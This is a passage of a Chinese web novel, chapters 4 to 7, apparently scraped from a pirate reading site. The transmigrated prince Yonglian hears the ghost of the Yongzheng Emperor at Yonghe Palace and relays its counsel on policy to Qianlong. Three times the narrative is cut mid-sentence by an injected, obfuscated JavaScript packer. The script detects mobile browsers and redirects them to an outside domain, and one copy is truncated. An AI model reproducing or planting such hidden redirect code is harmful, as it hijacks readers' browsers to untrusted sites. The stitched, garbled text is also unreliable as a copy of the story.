旁边的奴才们都看傻了,二阿哥什么时候学的? 有人急急忙忙去前殿告诉皇后娘娘,倒不是他们大惊小怪,实在是万岁爷对两位小主子要求极严,行止坐卧都须稳重,他们没少听万岁爷唠叨两位小主子。 这大热天的,小主子们没玩一会儿就热的一头汗。万岁爷和皇后娘娘知道了肯定不快。 皇后听了小宫女汇报,果然微微蹙眉。 但随即想到三个孩子的年纪,又不忍管束他们。 偶尔玩一会儿也无妨,只吩咐宫女,“让小主子们到阴凉处玩儿,别晒坏了。玩一会儿就提醒他们进屋喝水。” 小宫女应是,退了下去。 没过一会儿,小太监来通传,乾隆和和亲王去宁寿宫给太后请安,让两位小阿哥爷过去。 皇后赶紧让人去叫永璜、永琏,俩小少年玩得一头汗,小脸也红扑扑的,进屋永琏先要水喝。 听说汗阿玛叫他们过去,永璜有点忐忑,永琏却挺兴奋,“五叔也在,太好了!” 他五叔可是咸鱼界的翘楚,自己得向他多学习。 皇后见状,不由笑问:“想你五叔了?” 永琏点头,已经迫不及待。 皇后亲手给两个孩子理了下衣服,才打发他们去。 宁寿宫里,乾隆和弘昼正陪着太后和裕太妃说话。 因为从前太后养过弘昼一段时间,太后和耿氏的关系也很好,所以弘昼经常能进宫给生母、养母请安。 太后听说永琏主动提出学数学,忍不住念了声阿弥陀佛,这孩子真是不怕困难啊! 她不懂数学要学哪些内容,只知道当初自家的小天才弘历和弘昼都被这学问难倒过。 弘昼道:“依臣弟看,十六叔不仅可以教侄子们数学,还能教他们骑射和乐律。” 他们十六叔,那可是文武兼备,多才多艺。 乾隆:“四书五经都还没读,学什么乐律?” 弘昼心说长大学就晚了,他倒是想跟着十六叔学,但十六叔嫌他愚笨,没这方面的天赋。 “那骑射呢,骑射可不能落下。”弘昼道。 允禄的弓马骑射的确是宗室里数一数二的,乾隆自认精于骑射,但还真不太敢和十六叔比。 可他不想让十六叔和永琏接触的太多,十六叔这人有时候不大着调,他怕永琏被带歪。 而且他也想让永琏多接触一些满洲勋贵。 “十六叔年纪在那,不好让他太劳累。”乾隆道:“朕已经想好了,让策楞教他们骑射。” “策楞?钮祜禄家那个?”太后和裕太妃不认识,弘昼却很熟。 乾隆点头,“策楞为人中正醇厚,骑射更是他们兄弟里数一数二的。让他带永璜、永琏正合适。” 弘昼撇嘴,他对策楞没什么意见,但对策楞的弟弟讷亲意见很大。 钮祜禄家就是著名的开国五大臣遏必隆他们家,果毅公这个爵位,本来是阿灵阿继承,但因为阿灵阿是坚定的八爷党,先帝继位后,把他们这一支的爵位给了钮祜禄尹德。 尹德的长子就是策楞,可先帝更看好他的次子讷亲,尹德死后,先帝让讷亲袭了爵位。 讷亲这人,仗着先帝赏识,本人又有才干,眼高于顶。不仅看不上其他官员,对弘昼他们这些宗室也是爱答不理。 弘昼最烦这种人了,好像朝廷上下就他一个人会干活,其他人全是废物一样。 偏偏此人能力很强,又十分勤勉,个人操守上挑不出什么错。皇兄很是器重他。 弘昼也不好故意找茬。 乾隆见弘昼的表情,就知道他想什么。 讷亲性格孤僻傲慢,人缘不好。和弘昼这种见谁都能聊几句的人截然相反,二人互相看不惯很正常。 但策楞和讷亲不一样,其实尹德家这几个兄弟各有各的好,策楞、讷亲、阿里衮、爱必达,都是可用之才。 几人正说话,永璜、永琏来了。 两个小少年向屋里的长辈们打过招呼后,坐到位置上,早有宫女端上茶果点心。 太后招呼他们吃,永琏笑道:“我们刚踢毽子来着,正口渴,出来前就喝了一盏茶,这会儿喝不下了。” 永璜不料弟弟就这样主动提起踢毽子的事儿,心下有些紧张,不自觉低下头。 乾隆刚想皱眉,就听弘昼笑道:“踢毽子啊!那不是小女娃才喜欢的游戏吗?” 永琏疑惑地歪歪脑袋,“踢毽子既可以活动眼睛,也可以锻炼身体。为什么只能女娃玩儿?” 裕太妃道:“二阿哥说的有道理,踢毽子可不容易呢。我从前在家,最会踢毽子,我还亲自做过毽子呢,要用公鸡尾巴上的毛……” 裕太妃性子大大咧咧的,想什么就说什么,话说出口又意识到,在座都是晚辈,她该维持长辈的端庄形象。 她止住话头,有些尴尬地看一眼太后和皇上。 太后和乾隆早习惯了耿氏这性格,弘昼也是随了她。 太后正担心皇上数落两个儿子,就着裕太妃的话问:“做毽子最难的就是拔鸡毛了吧。” “可不是,我当时让弟弟帮我去拔,结果他被鸡追得满院子跑……”裕太妃想起从前的事儿不由笑起来。 永琏听的津津有味,忍不住追问:“裕玛嬷,那后来怎么拔下毛毛的?” “还是我们家厨子出来,把那鸡逮到了,只可惜公鸡肉不怎么好吃。”裕太妃道。 话题就从做毽子转到公鸡怎么炖才好吃,太后、裕太妃和弘昼讨论的挺热闹。 乾隆早忘了要责怪儿子们踢毽子,每次这仨人漫无边际的聊天时,他都会下意识脑袋放空。 等他回神时,发现小永琏正在那一个劲咽口水。 乾隆忍不住笑出声,这小子听得馋肉了。 这点他倒是能理解,这一年来,连他偶尔都想肉的滋味,更别说一个孩子。 据他所知,五弟早就给家中儿女吃肉了。 永琏正听得入神,这仨人聊天可太有生活了。 忽听汗阿玛叫他,他就哒哒哒跑到汗阿玛跟前。 还以为汗阿玛要教训他踢毽子的事儿,嘴巴里就被塞了一个盐津梅子。 永琏:??? 永琏被酸得小脸皱成一团,捂着腮帮子看乾隆,“汗阿玛,你干嘛呀……” 乾隆被他这小模样逗笑,“哎哟,刚汗阿玛拿错了,本来想给你吃蜜饯的。” 永琏:“???” 永琏不能一个人被酸,也拿了个梅子塞汗阿玛嘴里,又拿一个蜜饯给永璜。 乾隆:“……” 永璜感觉弟弟今天很活泼,他好久没见到弟弟这样活泼了,真好啊! 几人说了会儿话,弘昼就告退了。乾隆则带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486982|170094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俩儿子回长春宫,路上顺便告诉他们,教数学的老师已经找好,教骑射的谙达也有了人选。 永琏一听汗阿玛安排了十六叔公,眼睛瞬间亮了,这位不仅精通数学几何,还懂西洋乐理。 以后自己对西洋的东西感兴趣,就可以把锅甩给…… 不是,是归功于十六叔公了! 回到长春宫,乾隆让他亲自挑选的两名太监来见永琏。 一个叫陈福,从前伺候过先帝,是宫里的老人了。 先帝身边很多人乾隆都用不惯,比如苏培盛,就被他斥责过。 但这个陈福是他比较喜欢的奴才之一,懂规矩不多话,更不会在主子跟前嬉皮笑脸的献媚。 另一个小太监叫马瑞,从前在乾西四所负责茶房,后来乾隆到了养心殿,他就在御前负责茶水。是个细心周到的。 乾隆安排陈福,是希望他能稍微引导约束永琏的行为举止,马瑞则主要负责照顾永琏的生活。 永琏这才想起,今天没瞧见之前跟随原身的小太监吴四。 那人肯定是因为没照顾好主子受罚了。 永琏想替他求情,又怕起到反作用。还是把话咽了回去。 直到用过晚膳,乾隆回养心殿看奏折,永琏才去找额娘,“额娘,吴四伺候了我好几年,也算尽心,昨儿的事实在不怪他,倒连累他受罚,儿子想着,给他送一点钱行不行?有了银子,他以后在别处当差也好打点一二。” 皇后有些意外于儿子的成熟和周到,随即欣慰地摸摸他脑袋,“额娘昨儿已经让人送了些银子和棒疮药过去。” 永琏一愣,忍不住蹭蹭额娘的手,“额娘你真好。” 他说完又有些担心地皱眉,“汗阿玛知道了怎么办?” 皇后不由笑了,“这肯定瞒不住你汗阿玛,他不会管。” 永琏不知道皇后是怎么得出这个结论的,不过不重要,他们夫妻之间,肯定是最了解对方的。 “但以后遇到这样的事,你不能这么做。”皇后叮嘱儿子。 永琏疑惑,“为什么?” 因为皇上责罚在前,永琏若是施恩在后,彰显自己宽仁的同时,也意味着对皇上的处置有所不满。 现在永琏年纪小,皇上不会多想,等几年后,十几年后,皇上定然会不快。 但夫妻之间,就不存在这个问题,皇上只会觉得她是在帮忙善后。 这道理现在解释给永琏,孩子恐怕听不懂,还容易影响父子感情,皇后于是只道:“你长大就明白了。” 永琏若有所思的点点头,“好吧。” 等到要去雍和宫祭拜这日,永琏额头的伤已经彻底好了。 他和永璜先到养心殿见汗阿玛,然后随御驾一同去往雍和宫。 庄亲王允禄、果亲王允礼、慎郡王允禧并弘字辈的几名宗室已经在雍和宫候驾了。 众人都听说今日两位皇子也要来。 其中就有前两天刚定下的太子永琏。 有些宗室在先帝丧礼上见过,有些人则对他没什么印象,只听说先帝和皇上都很喜欢那孩子。 等父子三人下了马车,宗室们按辈分品阶上前行礼时,才明白,先帝和皇上喜欢永琏是有原因的。 众人往灵前走的路上,慎郡王允禧忍不住和十七哥嘀咕:“二阿哥和皇上小时候长得一模一样。” 允礼点了点头,倒是弘昼凑过来,“是很像吧,就是永琏比皇兄小时候胖,那小胖脸可好捏了,只是这小子长大了不听话,不让我捏……没意思……” 永琏耳朵尖,听见了,就跑去拉拉汗阿玛的衣袖,“汗阿玛,五叔说我胖。” 乾隆正跟负责雍和宫事务的履亲王允裪说话,见儿子鼓着包子脸来告状,哭笑不得。 “他还好意思说你,他小时候才是个胖墩儿呢。” 乾隆故意让后面的叔叔们都听见,允禄、允礼都点头。 履亲王笑道:“和亲王小时候确实是个实心小胖子。” 弘昼:“……” 永琏这小子,断章取义,蔫儿坏!他要去汗阿玛灵前告状! 5. 第五章 其实允裪他们就是顺着皇上的话说,故意凑趣。 毕竟他们根本不记得小时候的弘昼长什么样。 弘历、弘昼十岁以前,在一群皇孙中,非常没有存在感。弘历十一岁的时候被圣祖爷接回宫,稍微露脸。弘昼却是一直默默无闻,直到雍正继位。 但雍正很少让儿子们办差,不想让他们结交外臣,有祭祀的事儿也多是派弘历去。 怡亲王在的时候,弘昼和怡亲王亲近,怡亲王病逝后,弘昼就和十六叔允禄走得近。 十六叔在宗室里人缘好,弘昼跟着他,大家也就对弘昼逐渐熟悉起来。 叔叔们都挺喜欢他,这小子没心眼,开得起玩笑。 “我记得弘昼小时候生过一场病,还是十三哥找来神药。”果亲王允礼道。 “是啊,生病前五弟还胖乎乎的,一场病下来瘦了一圈,再就养不回去了。”乾隆道:“好歹保住一条命,五弟当时病的实在凶险。” “多亏了十三叔。” 提起十三爷,众人心下都有些伤感。 尤其弘昼、允礼,一个是被十三叔救过命,一个是得十三哥求情提携。 允礼这人有几分多愁善感,想起四哥、十三哥待自己的恩情,眼眶就红了。 允禧发现十七叔抹眼泪,就低声劝慰。 永琏本来也想安慰十七叔公的,见有人安慰,他就继续跟在汗阿玛身边。 到了梓宫前,乾隆先上香磕头,接着让永璜、永琏上前。 旁边的礼官将点好的香递给两位阿哥,阿哥只要把香插到香炉,再跪下磕几个头就好了。 谁知二阿哥拿着香在那东张西望。 旁边一群人看着,永璜就轻声提醒弟弟,给他指了指香炉的方向。 永琏不是走神了,而是听见了哭声。 他以为是十七叔公,朝他的方向看了一眼,却见他已经被劝好了。 而且这声音听着挺苍老,不像是十七叔公的声音。 按说汗阿玛都没哭,这也不是哭灵的时候,其他人是不敢哭成这样的。 他就想看看是谁这般怀念皇玛法。 看了一圈却未找到人。 乾隆一颗心都提了起来,永琏这孩子平日最懂规矩,今日当着这么多人的面,还是在先帝梓宫面前,怎么掉链子了? 好在旁边永璜是个靠谱的,拉了拉弟弟,永琏这才回神,把香插进香炉里,然后跟永璜同步跪到蒲团上磕头。 永琏耳边的哭声还在,他又仔细分辨了下,这声音像是从前面传来的。 可他前面是先帝的梓宫啊! 大热天的,永琏背后愣是冒出一层冷汗。 太可怕了太可怕了!!! 兄弟俩总算是把流程走完了,乾隆松口气。回去一定要批评永琏这孩子,怎么能在这种时候走神呢? 二人回到位置上站好,永琏耳边的哭声消失了,但那种毛骨悚然的感觉还在。 永璜一偏头就见弟弟脸色煞白,只当他身体不适,忙低声问:“二弟,你没事儿吧?是不是不舒服?” 永琏摇摇头,凑到永璜耳边,“大哥你有没有听到哭声?一……一个老头的哭声。”刚才就他俩离得近,说不定大哥听见了。 永璜:“???”他摇摇头,这形容听起来就够吓人了。 大白天的,这么多人,就他一个人撞鬼,这谁能不怕啊! 永琏抱住胖胖的自己,再次鼓起勇气往灵前看了一眼,一切正常。 永琏他们行完礼,轮到先帝的侄子、侄孙们。 其余人则在旁等候。 这样庄严的场合,没有人敢交头接耳,永璜、永琏的小动作就很是显眼。 允裪等人心说皇上这俩儿子也没有传说中那么稳重么,这种场合,他们都敢交头接耳。 还有那小太子永琏,刚在行礼时心不在焉的。 允裪最看不惯在这种事上不够肃穆的人,这要不是皇上的儿子,他肯定上前教训几句。 乾隆感觉自己很没面子,忙低声吩咐身边的弘昼,让他去看看那俩小子嘀咕什么呢。 弘昼见皇兄脸色臭臭的,心说俩小侄子回去要挨揍喽,虽然小永琏蔫儿坏,但这小子脑袋上的伤才好,屁股就开花,也太惨了点儿。 他这个当五叔的心软,已经想好了法子。 就说小永琏穿太厚,中暑了。 但等他到俩侄子跟前时,却发现这俩小子脸色一个比一个白,永琏脑门儿上一层汗,真有点像中暑了。 “你俩怎么了?”弘昼忙低声问。 永璜下意识看弟弟,那哭声似乎只有二弟听见了。 永琏低声道:“我没事,就是……身体不太舒服。” 弘昼:“……” 还真病了啊! 他赶紧又溜回乾隆身边,“皇兄,永琏像是中暑了。” 乾隆一听,顿时急了,他这个角度看不太清永琏的脸,也就没发现他脸色不好。 也是,这孩子一向懂事的,要不是身体不适,万不会在这么严肃的场合失仪。 “要不先让俩孩子去马车……” 不等弘昼说完,乾隆已经大步朝永璜、永琏走去。 皇上一动,在场众人的目光就都看向两位小皇子。 永琏:“……”他肯定不能当着这么多人的面说自己听见鬼哭,不如先装病,等回去了再慢慢告诉汗阿玛吧。 等乾隆到了跟前,永琏就委屈巴巴,“汗阿玛,我难受。” 乾隆瞧见他的脸色,一颗心顿时揪了起来。 他见永琏额头有汗,就俯身摸了摸他背上,也是一层汗,丧服都湿透了。 今儿天气虽热,但还不到这种程度。 乾隆愈发觉得不对,直接把永琏抱起来。 永琏:“唔……也,也没有那么不舒服,儿子能走。” 当着这么多人的面被大人抱,永琏有点不好意思。而且他身体没什么毛病,等汗阿玛知道真相,又怪他娇气可怎么办? 乾隆:“……”当着这么多人的面抱儿子确实不太好,他想了下,把永琏递给旁边的弘昼。“先找个凉快点儿的屋子让永琏躺一会儿。” 弘昼:“……” 弘昼只好接过小侄子,“说你胖还不承认……” 弘昼还没吐槽完,就被乾隆瞪了一眼。“快让人回宫请太医!” 弘昼赶紧让人领路。 被弘昼抱在怀里,永琏还不自觉看向梓宫方向。 弘昼拍拍他后背,“没事儿,你皇玛法不会怪你的。” 永琏:“……” 乾隆见永璜也有点精神恍惚,就让他跟着弘昼、永琏一起去休息。 安排好孩子们,他跟在场众人解释了下,两位小阿哥身体不适。 跟众人解释完,他还专门又去梓宫前上了柱香,和先帝解释。 汗阿玛啊!我儿子最乖了,要不是身体实在难受,是绝对不会失礼的! 众人都知道皇上担心儿子,走完祭奠流程就纷纷告退。 永琏被安排在后院的厢房里,他躺在靠窗的罗汉床上,身上的丧服脱了,只穿了一件里衣。 他见弘昼急的团团转,就道:“五叔,我没事儿,您别担心。” 弘昼心说小侄子真挺懂事。连他都心疼了。 没过一会儿,乾隆就来了。 永琏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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雍和宫是先帝潜邸,如今停放先帝灵柩,而且自己这个现任皇帝也在场,两位皇帝在,此地应是龙气充沛,一般的孤魂野鬼是不敢在此作祟的。 那就只能是汗阿玛他老人家的鬼魂了! “可汗阿玛他老人家为何要哭?……”乾隆忍不住喃喃。 永琏:“皇玛法一定是想您和五叔,还有那些叔公们……还有我和大哥。” 乾隆:“……” 乾隆试图把摇摇欲坠的三观扶起来,叫来负责灵前供奉的拜堂阿,再次确认方才两位小阿哥祭奠时,梓宫附近有没有旁人。 那拜堂阿再三保证,绝对没有无关人等在周围。 这地儿可是履亲王负责,履亲王别的方面稀松,办丧事却是专业的。雍和宫内的人都是他亲自挑选,在祭奠之时,绝不会随意乱走动。 乾隆沉默良久,“你去安排一下,朕想带二阿哥再给皇考上柱香。” 乾隆是直接把人叫到里间问话的,永琏就在旁边。 那拜堂阿不由看了二阿哥一眼,小少年紧挨着皇上坐。皇上一手搭在他肩膀上,时不时拍两下,像是在安抚。 二阿哥方才身体不适,在先帝灵前失仪了。现在像是恢复了一些,重新祭拜一次也好。那拜堂阿没多想,就退下安排了。 等人走后,乾隆拍拍永琏的肩膀,“你在这儿坐着,不怕……汗阿玛跟五叔交代几句就来。” 永琏道:“是皇玛法,永琏才不会怕。” 乾隆对上儿子那双澄澈的大眼睛,心里软软的。一定是因为这孩子心里仁善干净,没有一丝杂念,才能感应到汗阿玛。 弘昼见皇兄一脸严肃的出来,立刻好奇的凑上前,“永琏到底什么情况?怎么还神神秘秘的。” 乾隆:“你先送永璜回宫。” 弘昼:“???那皇兄您……” “朕和永琏想多陪汗阿玛一会儿。”乾隆道。 汗阿玛你有什么诉求,有什么不满跟我说啊,别吓唬孩子! 6. 第六章 乾隆带着永琏回到先帝梓宫前,他把其他人都打发下去了。 拜堂阿和差役们也没多想,只以为这父子俩是想对着先帝梓宫说说话。 殿中只剩下父子二人,连李玉和几名御前侍卫也都退到了院门口守着。 这个距离,乾隆和永琏的说话声就没人能听到了。 天气炎热,以防尸体腐烂发出气味,放梓宫的殿内四周都摆着冰,连殿前行礼的位置都是凉风阵阵。 刚才经历了那么灵异的事情,又是这样阴森的环境,按说永琏是该害怕的。 但不知为何,他一想到面前梓宫里躺着的是雍正,就没那么害怕了。 小家伙疑惑的歪歪脑袋,自己又没见过雍正,对他的印象要么来自于原身记忆,要么是从后世电视剧和书里看来的,更谈不上什么祖孙感情。怎么能不怕呢? 乾隆亲自拿起三炷香点燃,朝梓宫方向拜了拜。 “汗阿玛,听永琏说方才您老人家显灵了。自您驾崩之后,儿臣身为伤怀,日夜思念汗阿玛,真想在梦里见见您,若您有什么要交代嘱咐的,就给儿臣托梦吧。” 永琏:“……” 汗阿玛可真会说话,这意思是白天别来吓人,晚上托梦比较合理吗? 但下一瞬,他就听见一个声音,“什么显灵?朕要是会托梦就好了。” 永琏:“……” 他想了想,偏头告诉汗阿玛,“皇玛法说,他要是会托梦就好了。” 乾隆:“???” 雍正:“……” “永琏!你……你竟然能听到皇玛法说话!” 永琏顺着声音的方向看去,只能看到一阵风吹起供桌桌布的一角。 “皇玛法,我……我能听到!”永琏答道,他莫名鼻子发酸,脑中闪过几个画面。 小小的他在养心殿西暖阁跑着玩儿,皇玛法把他抓过来抱到腿上,一边看奏折,一边给他喂蜜饯。 他不小心把皇玛法的眼镜摔坏了,皇玛法佯装生气在他小屁股上拍了两下,但是没有和阿玛额娘告状,还交代周围太监也不许说。 后来他长大一点,皇玛法偶尔会教他念几句《千字文》,还握着他的小手教他写过“永”这个字。 皇玛法说:“‘永’字学好,其他字就好学了。” “我写好‘永’字,皇玛法就教我写‘琏’好不好?”他想写自己的名字。 皇玛法摸摸他脑袋,说“好”。 可皇玛法还没来得及教他写“琏”,就突然驾崩了。 这些记忆太过真实,像是他经历过的。 乾隆刚才听小永琏在那自言自语,一时应有些呆愣,此刻回神,汗阿玛的鬼魂真的在此! 他立刻跪到了蒲团上,冲着梓宫方向磕头,“汗阿玛……汗阿玛……儿臣无一日不在思念汗阿玛,无一日不谨记汗阿玛教诲……” “哼!我看你没记住多少。”永琏就听皇玛法气哼哼的道。 “《大义觉迷录》禁了也就算了,官绅一体当差纳粮和军机处怎么也给撤了?你就这么看不上朕的新政?” 永琏:“……皇玛法,汗阿玛听不到您说话。”这话倒是想转达,但是不敢啊! 他刚说完,雍正和乾隆就同时开口。 雍正:“永琏,朕的乖孙孙,你替朕传话。” 乾隆:“永琏,你皇玛法说什么,你替他老人家转述给朕。” 永琏:“这……这可是你们说的。” 乾隆见儿子纠结地皱起眉头,突然意识到了什么。 汗阿玛的新政他取消了好几项,还恢复了八叔、九叔的宗籍。 汗阿玛知道了,定然不满。 乾隆突然心虚,事情有点失去控制。 “皇……皇玛法说,《大义觉迷录》禁了可以,但官绅一体当差纳粮最好不能取消。” 把反问改成陈述句,是不是听起来没那么凶呢。 乾隆:“……” 果然…… “汗阿玛,您听儿臣解释,官绅一体当差纳粮虽有利于百姓,但会引起士绅不满,儿臣年轻德薄,没有汗阿玛的威望,就想着暂时取消,等朝中安稳一些,北边平了准噶尔,再重新推行。” 永琏:“……” 你就编吧。你就是想要好名声,也怕士绅们闹事。 乾隆这话,当然骗不了雍正,他想训斥儿子,想到还要永琏在中间传话,又有些迟疑。 弘历虽然有糊涂的地方,但还算勤勉,在永琏面前,自己多少要给他留些面子。 雍正叹了口气,只道:“你最好记得你这句话,推翻一个王朝的往往是那些吃不饱饭的老百姓,而不是免除徭役赋税的士绅官员。” 永琏一个劲点头,皇玛法是个明白人啊! 他将这话原原本本传给乾隆。 乾隆郑重道:“儿臣谨记汗阿玛教诲!” 雍正见小永琏听他说话时还点着小脑袋,像是能听懂一样,忍不住笑了,“乖永琏,你比你汗阿玛乖!” 乾隆见儿子笑的眼睛弯弯,就问他,“你皇玛法又说什么了?” 永琏:“皇玛法说我比您乖。” 乾隆:“……” “你告诉他,民生乃国之根本。老百姓过得好,大清基业才能长久。”雍正道。 永琏赶紧传话,皇玛法说的太对了! “别被官员们几句拍马屁的话骗了。” 永琏继续传话,皇玛法每一句都说到了点上。 乾隆就是被夸的太多,才洋洋自得。 永琏传一句,乾隆就朝梓宫方向磕个头,口称“儿臣谨记汗阿玛教诲。” 他以为汗阿玛会提自己给罪臣恢复宗籍的事儿,但汗阿玛始终没提,从官绅一体当差纳粮说到军机处,又说吏治问题。 雍正怕小永琏记不住,说得十分言简意赅,弘历最是聪明,不需要他掰开了揉碎了给他讲。 有些道理即便他现在说了,他也未必真听得进去。 但该提醒的自己都提醒到,也算没浪费这样的机缘。 至于宗室里那些事儿,人都死了,恢复宗籍就恢复宗籍吧,反正弘历当时也打的他的旗号,就当自己牺牲一些,给儿子换个好名声。 他这个皇帝活着的时候就名声不好,死了没必要再纠结这些。 他想起许多新政还没全国推行,自己就突然驾崩。那些自己信任的大臣,鄂尔泰、张廷玉、李卫也都垂垂老矣,如今虽还都位高权重,但他们的做事风格弘历未必喜欢。 思及此,雍正又忍不住哭起来。 乾隆见儿子半晌不说话,就问:“你皇玛法还说什么了?” “皇玛法在哭。”永琏也有点难过。 乾隆:“汗阿玛,您还有什么遗憾尽管告诉儿臣,儿臣一定竭尽全力。” 至于能不能做到,那也不是他一个人说了算的。 “朕也没什么遗憾,无非是希望咱们大清国百姓富足、海晏河清。希望你们兄弟,还有朕的这些孙子孙女们都能健健康康的。”雍正道:“再往后的事儿,就用不着朕操心喽。” 永琏一字一句的转述给汗阿玛,说完又忍不住哭起来,“皇玛法,以后永琏天天都来看您,您有什么要说的,就告诉永琏。” 皇玛法的鬼魂无法离开停放梓宫的房间,但他可以过来啊! 乾隆一愣,心说倒也不必。他虽然想念汗阿玛,但并不希望汗阿玛死了还参与朝堂上的事儿。 感情归感情,公事归公事,汗阿玛显然只惦记公事。 让他阳奉阴违吧,他又心虚,一来汗阿玛的魂魄真的存在,二来这魂魄还能和永琏交流。 自己不按照汗阿玛的叮嘱办事,永琏都看在眼里,他告诉汗阿玛是一方面,更关键的是他怕自己在永琏心中的形象成了既无诚信,又不孝顺的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486984|170094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但永琏肯定考虑不到这些,他一时不知怎么阻止小永琏天真的想法。 雍正已经笑起来,“不行哦,你天天来,你汗阿玛要不高兴了。” 永琏:“……” 永琏看看旁边沉默的汗阿玛,慢半拍明白过来。 汗阿玛已经是皇帝了,肯定不希望皇玛法的魂魄来指手画脚。 他在心里叹了口气,这也无可厚非。 就像后来嘉庆继位,也不希望乾隆指手画脚一样。 更何况,皇玛法这还是魂魄。 “而且听老十二说,朕的梓宫十月就要移至泰陵了,到时候,朕的魂魄也就离开了。”人有三魂,一魂归天路,一魂入轮回,还有一魂在人间跟随棺椁接受供奉。 现在雍正的魂魄便是人魂,下葬之后,他的魂魄就会在陵寝之内。 “呜呜……不要,永琏不要皇玛法离开!”永琏本能的哭起来。 “乖孩子,别哭……” 雍正说着自己也呜呜的哭起来。 乾隆见儿子哭的伤心,忙问:“怎么?你皇玛法要离开了吗?” 永琏:“皇玛法说他下葬后,魂魄就会离开了。” 乾隆:…… 莫名松口气是怎么回事? 但这不影响他痛哭,不希望汗阿玛干预政事是真的,舍不得汗阿玛也是真的。 再没有人一脸骄傲的和大臣们夸他,再没有人一边嫌弃他字写得草率,一边叮嘱师父耐心教导,再没有人自己忙得顾不上吃饭,却总叮嘱儿子们要尽量吃胖…… 哭也是会传染的,祖孙三人……不是,是两人一鬼哭得停不下来。 尤其乾隆,这是汗阿玛暴毙以来,他第一次这样,毫无顾忌的痛哭。 汗阿玛驾崩那晚,因为自己是嗣皇帝,有很多事情要处理,顾不上伤怀。 后来每次哭灵、祭拜,他都要考虑自己的一举一动是否符合礼节。也不敢让自己太过伤心,生怕耽误了接下来的流程。 可现在,他不用考虑那么多。 他只是一个失去父亲的儿子。 …… 守在院门外的李玉和侍卫们都依稀听见了皇上和二阿哥的哭声,大家心里都有些酸涩。 但也有人在想,皇上特地让和亲王把大阿哥带回宫,只留二阿哥,是不是要告诉先帝立储的事儿。 那二阿哥本人不就知道自己是太子了? 这还搞什么秘密立储,直接公开得了。 现在所有人都知道,面上还得装不知道。 直至夕阳西斜,乾隆和永琏才离开雍和宫。 父子俩又是哭又是出汗,都有点脱水,在马车上就一个劲喝茶。 临走前,乾隆还是让永琏问了问,为什么只有永琏能听到汗阿玛的声音。 汗阿玛也答不上来。 其实雍正看出了乖孙孙的魂魄与常人有异,但他又可以确定这明明就是他的乖孙孙,以免说多了让弘历对孩子生疑,便说不知。 弘历疼爱永琏,希望以后也能一直如此亲密无间。 他也只能为乖孙孙做这些了。 乾隆多少也会一些八字,立储之前更是请人给永琏看过,都说这孩子是大贵之命,并没有看出什么异常。 因此他也就没怀疑永琏命格有什么问题,只是担心他与亡者魂魄沟通后身上沾了阴气,对身体不好,回宫就安排给永琏打三日平安醮。 他还特地叮嘱永琏,不可将此事告诉任何人,包括皇后。 永琏答应了,这事儿当然不能说,他最好连皇玛法交代的那些话都忘了。 果然,接下来几天,汗阿玛就时不时来试探他,问他还记不记得皇玛法叮嘱的那些话。 永琏:“……” 真的很想提醒汗阿玛,你这样反复提起,会增强记忆的哦,想忘都忘不掉了呢,更何况他不想忘,以后必要时还得拿出来提醒汗阿玛。 7. 第七章 那日乾隆和永琏从雍和宫回来,眼睛都肿得跟桃似的,皇后就猜测是因为怀念先帝。 但永璜说永琏身体不适又是怎么回事? 回宫后,乾隆也没让太医来给永琏看病,倒是次日吩咐道观,给永琏打三日平安醮。 因为先帝听信道士之言,服食丹药,才突然驾崩。皇上这两年格外厌烦道士们,怎么突然就要打醮? 这日,她还是忍不住问永琏:“那日你随你汗阿玛去雍和宫,撞见什么奇怪的事儿了吗?” 永琏知道额娘会生疑,就半真半假道:“我行礼的时候突然出冷汗,汗阿玛就让我五叔抱我去休息了。” “那后来呢?你们留在雍和宫做什么了?”皇后问。 “汗阿玛带我去皇玛法梓宫前说了会儿话,说着说着我们都伤心起来。”永琏道:“我们都好想念皇玛法呀!” 皇上大概是担心永琏在梓宫前太久,染了阴气。 这人也太小心了。皇后有些无奈,却又为皇上对永琏的细心感动。 永璜听说弟弟那日竟然是留下陪汗阿玛哭先帝了,还觉得弟弟挺不容易。 五叔那日带他离开雍和宫,没有直接回宫,而是往前门大街上溜达了一圈,给他买了一套泥塑十二生肖,还有糖葫芦。 永璜玩得很开心,差点就把弟弟身体不舒服的事儿给忘了。 乾隆也是过了两日才知道,弘昼那日还带着永璜去玩了一会儿。 “你这个叔叔还怪好的。”乾隆瞥一眼弘昼。 弘昼:“我那不是怕大侄子失落吗?” 皇兄只关心永琏,都没怎么搭理永璜,那小子不高兴也只会闷在心里。 他莫名就想起了小时候不太受重视的自己,尤其皇兄得了圣祖青睐后,整个雍王府都开始关注他,自己经常被忽略。 但他没有嫉妒皇兄,只是偶尔羡慕。 永璜的年纪比那时的自己还小,又没了额娘,怪可怜见儿的。 乾隆闻言,就明白过来。自家五弟,办事能力虽然不太行,人也傻乎乎的,却是个心善之人。 “那以后就拜托五弟多照顾永璜,那孩子是个闷葫芦,有什么心事也不和朕说。”乾隆道。 他希望永璜、永琏的感情也能像自己和五弟一样。 弘昼颔首,又忍不住道:“若永璜有什么心事都与臣弟说,不与您说,皇兄您又要不高兴了。” 乾隆:“……朕,朕像是这么小心眼儿的人吗?” 弘昼:“……” 